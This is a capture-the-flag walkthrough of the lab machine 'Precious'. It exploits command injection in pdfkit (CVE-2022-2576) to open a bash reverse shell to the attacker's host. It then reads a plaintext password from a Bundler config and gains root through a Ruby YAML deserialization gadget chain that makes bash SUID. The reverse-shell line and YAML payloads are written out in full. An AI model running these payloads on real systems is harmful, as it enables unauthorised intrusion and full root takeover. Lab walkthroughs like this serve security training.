Precious
8 minutes to read
sudo
permissions to run a Ruby script that is vulnerable to insecure deserialization in YAML, which can be used to execute commands as root
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.189
- Release: 26 / 11 / 2022
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.189 -p 22,80
Nmap scan report for 10.10.11.189
Host is up (0.043s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
| http-server-header:
| nginx/1.18.0
|_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15
|_http-title: Convert Web Page to PDF
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 8.72 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.10.11.189
we will be redirected to http://precious.htb
, so we need to enter the domain in /etc/hosts
. Then, we see this website:
It allows us to convert an HTML page into PDF. To analyze it, we can set up a listener using nc -nlvp 80
and enter our IP address as URL:
Then, we receive this request:
$ nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.189.
Ncat: Connection from 10.10.11.189:38498.
GET / HTTP/1.1
Host: 10.10.17.44
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*
^C
Nothing too interesting. Let’s try to convert an HTML page:
$ mkdir www
$ cd www
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
Now, if we enter our IP address as URL, we will see this PDF document:
On its metadata, we will find that it is generated by pdfkit v0.8.6
:
$ exiftool /tmp/roqhkior45j34b3r45gnhrpvi8mdgy7w.pdf
ExifTool Version Number : 12.50
File Name : roqhkior45j34b3r45gnhrpvi8mdgy7w.pdf
Directory : /tmp
File Size : 11 kB
File Modification Date/Time : 2023:01:16 12:28:50+01:00
File Access Date/Time : 2023:01:16 12:28:59+01:00
File Inode Change Date/Time : 2023:01:16 12:28:50+01:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
Foothold
Using this service and version, we can search for vulnerabilities and find out that there’s CVE-2022-2576, which affects this version.
In security.snyk.io, we can find a proof of concept for a command injection vulnerability. The payload is:
http://example.com/?name=#{'%20`sleep 5`'}
We can confirm that the above payload works because the response lasts more than 5 seconds (so the command sleep 5
was executed):
Therefore, we have Remote Code Execution (RCE), so we can obtain a reverse shell on the system:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
So we will use the following URL:
http://10.10.17.44/?name=#{'%20`echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash`'}
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.189.
Ncat: Connection from 10.10.11.189:48396.
bash: cannot set terminal process group (680): Inappropriate ioctl for device
bash: no job control in this shell
ruby@precious:/var/www/pdfapp$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
ruby@precious:/var/www/pdfapp$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
ruby@precious:/var/www/pdfapp$ export TERM=xterm
ruby@precious:/var/www/pdfapp$ export SHELL=bash
ruby@precious:/var/www/pdfapp$ stty rows 50 columns 158
System enumeration
At this point, we can see that there’s a system user called henry
that owns the flag user.txt
:
ruby@precious:~$ ls /home
henry ruby
ruby@precious:~$ ls /home/henry/
user.txt
ruby@precious:~$ ls -la /home/henry/
total 24
drwxr-xr-x 2 henry henry 4096 Oct 26 08:28 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Sep 26 05:04 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry 220 Sep 26 04:40 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26 04:40 .bashrc
-rw-r--r-- 1 henry henry 807 Sep 26 04:40 .profile
-rw-r----- 1 root henry 33 Jan 16 06:22 user.txt
So, we must somehow switch to this user.
Lateral movement to user henry
These are some of the files of the web server, but there’s nothing useful here:
ruby@precious:/var/www/pdfapp$ ls -la
total 36
drwxr-xr-x 6 root root 4096 Oct 26 08:28 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 app
drwxr-xr-x 2 root ruby 4096 Oct 26 08:28 config
-rw-r--r-- 1 root ruby 59 Sep 10 09:46 config.ru
-rw-r--r-- 1 root ruby 99 Sep 17 14:17 Gemfile
-rw-r--r-- 1 root ruby 478 Sep 26 05:04 Gemfile.lock
drwxrwxr-x 2 root ruby 4096 Jan 16 06:28 pdf
drwxr-xr-x 4 root ruby 4096 Oct 26 08:28 public
ruby@precious:/var/www/pdfapp$ find
.
./public
./public/images
./public/stylesheets
./public/stylesheets/style.css
./config.ru
./config
./config/environment.rb
./Gemfile
./pdf
./app
./app/views
./app/views/index.erb
./app/controllers
./app/controllers/pdf.rb
./Gemfile.lock
If we go to the home directory of ruby
, we have these files:
ruby@precious:/var/www/pdfapp$ cd
ruby@precious:~$ ls -la
total 28
drwxr-xr-x 4 ruby ruby 4096 Jan 16 06:26 .
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Jan 16 06:26 .cache
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
ruby@precious:~$ find
.
./.bundle
./.bundle/config
./.profile
./.bash_history
./.cache
./.cache/fontconfig
./.cache/fontconfig/CACHEDIR.TAG
./.cache/fontconfig/8750a791-6268-4630-a416-eea4309e7c79-le64.cache-7
./.cache/fontconfig/ef96da78-736b-4d54-855c-6cd6306b88f9-le64.cache-7
./.cache/fontconfig/7fbdb48c-391b-4ace-afa2-3f01182fb901-le64.cache-7
./.cache/fontconfig/cb67f001-8986-4483-92bd-8d975c0d33c3-le64.cache-7
./.bash_logout
./.bashrc
We can find a plaintext password at .bundle/config
:
ruby@precious:~$ cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
These credentials allows us to switch to henry
:
ruby@precious:~$ su henry
Password:
henry@precious:/home/ruby$ cd
henry@precious:~$ cat user.txt
325c6a80e4b91734fe975fada382d526
Privilege escalation
This user is able to run a Ruby script as root
using sudo
:
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
This is the Ruby script (/opt/update_dependencies.rb
):
# Compare installed dependencies with those specified in "dependencies.yml"
require 'yaml'
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read('dependencies.yml'))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
The Ruby code is very simple. The only input we have is the file dependencies.yml
, which is taken from a relative path. If we search for vulnerabilities that involve YAML in Ruby, we will find this blog, which points to gist.github.com.
It seems that YAML.load
is vulnerable to an insecure deserialization and we can execute Ruby code (for instance, inject a system command). Using the following payload, we are running id
:
henry@precious:/tmp$ cat > dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
^C
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
Since we are allowed to use sudo
, the output of id
is uid=0(root) gid=0(root) groups=0(root)
, so we are root
.
At this point, we can set bash
to be SUID and escalate to root
:
henry@precious:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
henry@precious:/tmp$ cat > dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod 4755 /bin/bash
method_id: :resolve
^C
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
As can be seen, after executing the script, the permissions for /bin/bash
have changed. At this point, we can become root
using bash -p
:
henry@precious:/tmp$ bash -p
bash-5.1# cat /root/root.txt
c6c51a49833192ad6abad4278fdb3b40
Additionally, I developed a Ruby script called autopwn.rb
(detailed explanation here) that automates all the exploitation until we become root
:
$ ruby autopwn.rb 10.10.17.44
[*] Listening on port 4444
[*] Sending reverse shell payload
[+] Got connection
[+] Found credentials: "henry:Q3c1AqGHtoI0aXAYFH"
bash-5.1# whoami
root
bash-5.1# cat /home/henry/user.txt
325c6a80e4b91734fe975fada382d526
bash-5.1# cat /root/root.txt
c6c51a49833192ad6abad4278fdb3b40